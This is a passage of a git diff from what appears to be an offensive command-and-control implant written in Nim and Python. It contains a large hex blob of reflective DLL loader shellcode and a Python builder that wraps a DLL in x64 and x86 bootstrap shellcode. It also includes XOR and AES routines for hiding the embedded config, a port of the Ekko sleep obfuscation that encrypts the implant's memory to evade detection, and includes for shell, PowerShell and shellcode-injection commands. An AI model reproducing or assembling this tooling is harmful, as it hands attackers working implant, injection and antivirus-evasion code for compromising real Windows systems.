0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3' + #MARKER:E + + if is64BitDLL(dllBytes): + + rdiShellcode = rdiShellcode64 + + bootstrap = b'' + bootstrapSize = 64 + + # call next instruction (Pushes next instruction address to stack) + bootstrap += b'\xe8\x00\x00\x00\x00' + + # Set the offset to our DLL from pop result + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode) + + # pop rcx - Capture our current location in memory + bootstrap += b'\x59' + + # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap += b'\x49\x89\xc8' + + # add rcx, + bootstrap += b'\x48\x81\xc1' + bootstrap += pack('I', dllOffset) + + # mov edx, + bootstrap += b'\xba' + bootstrap += pack('I', functionHash) + + # Setup the location of our user data + # add r8, + + bootstrap += b'\x49\x81\xc0' + userDataLocation = dllOffset + len(dllBytes) + bootstrap += pack('I', userDataLocation) + + # mov r9d, + bootstrap += b'\x41\xb9' + bootstrap += pack('I', len(userData)) + + # push rsi - save original value + bootstrap += b'\x56' + + # mov rsi, rsp - store our current stack pointer for later + bootstrap += b'\x48\x89\xe6' + + # and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap += b'\x48\x83\xe4\xf0' + + # sub rsp, 0x30 - Create some breathing room on the stack + bootstrap += b'\x48\x83\xec' + bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment + + # mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space + bootstrap += b'\xC7\x44\x24' + bootstrap += b'\x20' + bootstrap += pack('I', flags) + + # call - Transfer execution to the RDI + bootstrap += b'\xe8' + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions + bootstrap += b'\x00\x00\x00' + + # mov rsp, rsi - Reset our original stack pointer + bootstrap += b'\x48\x89\xf4' + + # pop rsi - Put things back where we left them + bootstrap += b'\x5e' + + # ret - return to caller + bootstrap += b'\xc3' + + if len(bootstrap) != bootstrapSize: + raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize)) + + # Ends up looking like this in memory: + # Bootstrap shellcode + # RDI shellcode + # DLL bytes + # User data + return bootstrap + rdiShellcode + dllBytes + userData + + else: # 32 bit + rdiShellcode = rdiShellcode32 + + bootstrap = b'' + bootstrapSize = 49 + + # call next instruction (Pushes next instruction address to stack) + bootstrap += b'\xe8\x00\x00\x00\x00' + + # Set the offset to our DLL from pop result + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode) + + # pop eax - Capture our current location in memory + bootstrap += b'\x58' + + # push ebp + bootstrap += b'\x55' + + # mov ebp, esp + bootstrap += b'\x89\xe5' + + # mov edx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap += b'\x89\xc2' + + # add eax, + bootstrap += b'\x05' + bootstrap += pack('I', dllOffset) + + # add edx, + + bootstrap += b'\x81\xc2' + userDataLocation = dllOffset + len(dllBytes) + bootstrap += pack('I', userDataLocation) + + # push + bootstrap += b'\x68' + bootstrap += pack('I', flags) + + # push + bootstrap += b'\x68' + bootstrap += pack('I', len(userData)) + + # push edx + bootstrap += b'\x52' + + # push + bootstrap += b'\x68' + bootstrap += pack('I', functionHash) + + # push eax + bootstrap += b'\x50' + + # call - Transfer execution to the RDI + bootstrap += b'\xe8' + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions + bootstrap += b'\x00\x00\x00' + + # add esp, 0x14 - remove arguments from stack (cdecl) + bootstrap += b'\x83\xc4\x14' + + # leave + bootstrap += b'\xc9' + + # ret - return to caller + bootstrap += b'\xc3' + + if len(bootstrap) != bootstrapSize: + raise Exception("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize)) + + # Ends up looking like this in memory: + # Bootstrap shellcode + # RDI shellcode + # DLL bytes + # User data + return bootstrap + rdiShellcode + dllBytes + userData + + return False diff --git a/client/util/crypto.nim b/client/util/crypto.nim new file mode 100644 index 0000000..622cff9 --- /dev/null +++ b/client/util/crypto.nim @@ -0,0 +1,94 @@ +import nimcrypto, base64, random +from strutils import strip + +# Calculate the XOR of a string with a certain key +# This function is explicitly intended for use for pre-key exchange crypto operations (decoding key) +proc xorString*(s: string, key: int): string {.noinline.} = + var k = key + result = s + for i in 0 ..< result.len: + for f in [0, 8, 16, 24]: + result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) + k = k +% 1 + +# XOR a string to a sequence of raw bytes +# This function is explicitly intended for use with the embedded config file (for evasion) +proc xorStringToByteSeq*(str: string, key: int): seq[byte] {.noinline.} = + let length = str.len + var k = key + result = newSeq[byte](length) + + # Bitwise copy since we can't use 'copyMem' since it will be called at compile-time + for i in 0 ..< result.len: + result[i] = str[i].byte + + # Do the XOR + for i in 0 ..< result.len: + for f in [0, 8, 16, 24]: + result[i] = uint8(result[i]) xor uint8((k shr f) and 0xFF) + k = k +% 1 + +# XOR a raw byte sequence back to a string +proc xorByteSeqToString*(input: seq[byte], key: int): string {.noinline.} = + let length = input.len + var k = key + + # Since this proc is used at runtime, we can use 'copyMem' + result = newString(length) + copyMem(result[0].unsafeAddr, input[0].unsafeAddr, length) + + # Do the XOR and convert back to character + for i in 0 ..< result.len: + for f in [0, 8, 16, 24]: + result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) + k = k +% 1 + +# Get a random string +proc rndStr(len : int) : string = + randomize() + for _ in 0..(len-1): + add(result, char(rand(int('A') .. int('z')))) + +# Converts a string to the corresponding byte sequence. +# https://github.com/nim-lang/Nim/issues/14810 +func convertToByteSeq*(str: string): seq[byte] {.inline.} = + @(str.toOpenArrayByte(0, str.high)) + +# Converts a byte sequence to the corresponding string. +func convertToString(bytes: openArray[byte]): string {.inline.} = + let length = bytes.len + if length > 0: + result = newString(length) + copyMem(result[0].unsafeAddr, bytes[0].unsafeAddr, length) + +# Decrypt a blob of encrypted data with the given key +proc decryptData*(blob: string, key: string): string = + let + blobBytes = convertToByteSeq(decode(blob)) + iv = blobBytes[0 .. 15] + var + enc = newSeq[byte](blobBytes.len) + dec = newSeq[byte](blobBytes.len) + keyBytes = convertToByteSeq(key) + dctx: CTR[aes128] + + enc = blobBytes[16 .. ^1] + dctx.init(keyBytes, iv) + dctx.decrypt(enc, dec) + dctx.clear() + result = convertToString(dec).strip(leading=false, chars={'\0'}) + +# Encrypt a input string with the given key +proc encryptData*(data: string, key: string): string = + let + dataBytes : seq[byte] = convertToByteSeq(data) + var + iv: string = rndStr(16) + enc = newSeq[byte](len(dataBytes)) + dec = newSeq[byte](len(dataBytes)) + dec = dataBytes + var dctx: CTR[aes128] + dctx.init(key, iv) + dctx.encrypt(dec, enc) + dctx.clear() + result = encode(convertToByteSeq(iv) & enc) \ No newline at end of file diff --git a/client/util/ekko.nim b/client/util/ekko.nim new file mode 100644 index 0000000..9128d18 --- /dev/null +++ b/client/util/ekko.nim @@ -0,0 +1,115 @@ +# This is a Nim-Port of the Ekko Sleep obfuscation by @C5pider, original work: https://github.com/Cracked5pider/Ekko +# Ported to Nim by Fabian Mosch, @ShitSecure (S3cur3Th1sSh1t) + +# TODO: Modify to work with .dll/.bin compilation type, see: https://mez0.cc/posts/vulpes-obfuscating-memory-regions/#Sleeping_with_Timers +# TODO: Check which exact functions are needed to minimize the imports for winim +import winim/lean +import ptr_math +import std/random +import strenc + +type + USTRING* {.bycopy.} = object + Length*: DWORD + MaximumLength*: DWORD + Buffer*: PVOID + +randomize() + +proc ekkoObf*(st: int): VOID = + var CtxThread: CONTEXT + var RopProtRW: CONTEXT + var RopMemEnc: CONTEXT + var RopDelay: CONTEXT + var RopMemDec: CONTEXT + var RopProtRX: CONTEXT + var RopSetEvt: CONTEXT + var hTimerQueue: HANDLE + var hNewTimer: HANDLE + var hEvent: HANDLE + var ImageBase: PVOID = nil + var ImageSize: DWORD = 0 + var OldProtect: DWORD = 0 + var SleepTime: DWORD = cast[DWORD](st) + + ## Random Key for each round + var KeyBuf: array[16, CHAR] = [CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), + CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255)), CHAR(rand(255))] + var Key: USTRING = USTRING(Length: 0) + var Img: USTRING = USTRING(Length: 0) + var NtContinue: PVOID = nil + var SysFunc032: PVOID = nil + hEvent = CreateEventW(nil, 0, 0, nil) + hTimerQueue = CreateTimerQueue() + NtContinue = GetProcAddress(GetModuleHandleA(obf("Ntdll")), obf("NtContinue")) + SysFunc032 = GetProcAddress(LoadLibraryA(obf("Advapi32")), obf("SystemFunction032")) + ImageBase = cast[PVOID](GetModuleHandleA(LPCSTR(nil))) + ImageSize = (cast[PIMAGE_NT_HEADERS](ImageBase + + (cast[PIMAGE_DOS_HEADER](ImageBase)).e_lfanew)).OptionalHeader.SizeOfImage + Key.Buffer = KeyBuf.addr + Key.Length = 16 + Key.MaximumLength = 16 + Img.Buffer = ImageBase + Img.Length = ImageSize + Img.MaximumLength = ImageSize + if CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), + addr(CtxThread), 0, 0, WT_EXECUTEINTIMERTHREAD): + WaitForSingleObject(hEvent, 0x32) + copyMem(addr(RopProtRW), addr(CtxThread), sizeof((CONTEXT))) + copyMem(addr(RopMemEnc), addr(CtxThread), sizeof((CONTEXT))) + copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT))) + copyMem(addr(RopMemDec), addr(CtxThread), sizeof((CONTEXT))) + copyMem(addr(RopProtRX), addr(CtxThread), sizeof((CONTEXT))) + copyMem(addr(RopSetEvt), addr(CtxThread), sizeof((CONTEXT))) + ## VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); + dec(RopProtRW.Rsp, 8) + var VirtualProtectAddr = GetProcAddress(GetModuleHandleA(obf("kernel32")), obf("VirtualProtect")) + RopProtRW.Rip = cast[DWORD64](VirtualProtectAddr) + RopProtRW.Rcx = cast[DWORD64](ImageBase) + RopProtRW.Rdx = cast[DWORD64](ImageSize) + RopProtRW.R8 = PAGE_READWRITE + RopProtRW.R9 = cast[DWORD64](addr(OldProtect)) + ## SystemFunction032( &Key, &Img ); + dec(RopMemEnc.Rsp, 8) + RopMemEnc.Rip = cast[DWORD64](SysFunc032) + RopMemEnc.Rcx = cast[DWORD64](addr(Img)) + RopMemEnc.Rdx = cast[DWORD64](addr(Key)) + ## WaitForSingleObject( hTargetHdl, SleepTime ); + dec(RopDelay.Rsp, 8) + RopDelay.Rip = cast[DWORD64](WaitForSingleObject) + var ntCurrentProc: HANDLE = -1 + RopDelay.Rcx = cast[DWORD64](ntCurrentProc) + RopDelay.Rdx = SleepTime + ## SystemFunction032( &Key, &Img ); + dec(RopMemDec.Rsp, 8) + RopMemDec.Rip = cast[DWORD64](SysFunc032) + RopMemDec.Rcx = cast[DWORD64](addr(Img)) + RopMemDec.Rdx = cast[DWORD64](addr(Key)) + ## VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); + dec(RopProtRX.Rsp, 8) + RopProtRX.Rip = cast[DWORD64](VirtualProtectAddr) + RopProtRX.Rcx = cast[DWORD64](ImageBase) + RopProtRX.Rdx = cast[DWORD64](ImageSize) + RopProtRX.R8 = PAGE_EXECUTE_READWRITE + RopProtRX.R9 = cast[DWORD64](addr(OldProtect)) + ## SetEvent( hEvent ); + dec(RopSetEvt.Rsp, 8) + RopSetEvt.Rip = cast[DWORD64](SetEvent) + RopSetEvt.Rcx = cast[DWORD64](hEvent) + + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), + addr(RopProtRW), 100, 0, WT_EXECUTEINTIMERTHREAD) + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), + addr(RopMemEnc), 200, 0, WT_EXECUTEINTIMERTHREAD) + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), addr(RopDelay), + 300, 0, WT_EXECUTEINTIMERTHREAD) + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), + addr(RopMemDec), 400, 0, WT_EXECUTEINTIMERTHREAD) + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), + addr(RopProtRX), 500, 0, WT_EXECUTEINTIMERTHREAD) + CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), + addr(RopSetEvt), 600, 0, WT_EXECUTEINTIMERTHREAD) + + WaitForSingleObject(hEvent, INFINITE) + + DeleteTimerQueue(hTimerQueue) \ No newline at end of file diff --git a/client/util/functions.nim b/client/util/functions.nim new file mode 100644 index 0000000..b06e959 --- /dev/null +++ b/client/util/functions.nim @@ -0,0 +1,106 @@ +import parsetoml, strutils, tables +from crypto import xorStringToByteSeq, xorByteSeqToString + +include ../commands/[cat, cd, cp, curl, download, env, getAv, getDom, getLocalAdm, ls, mkdir, mv, ps, pwd, reg, rm, run, upload, wget, whoami] +when defined risky: + include ../commands/risky/[executeAssembly, inlineExecute, powershell, shell, shinject] + +# Parse the configuration file +# This constant will be stored in the binary itself (hence the XOR) +proc parseConfig*() : Table[string, string] = + var config = initTable[string, string]() + + # Allow us to re-write the static XOR key 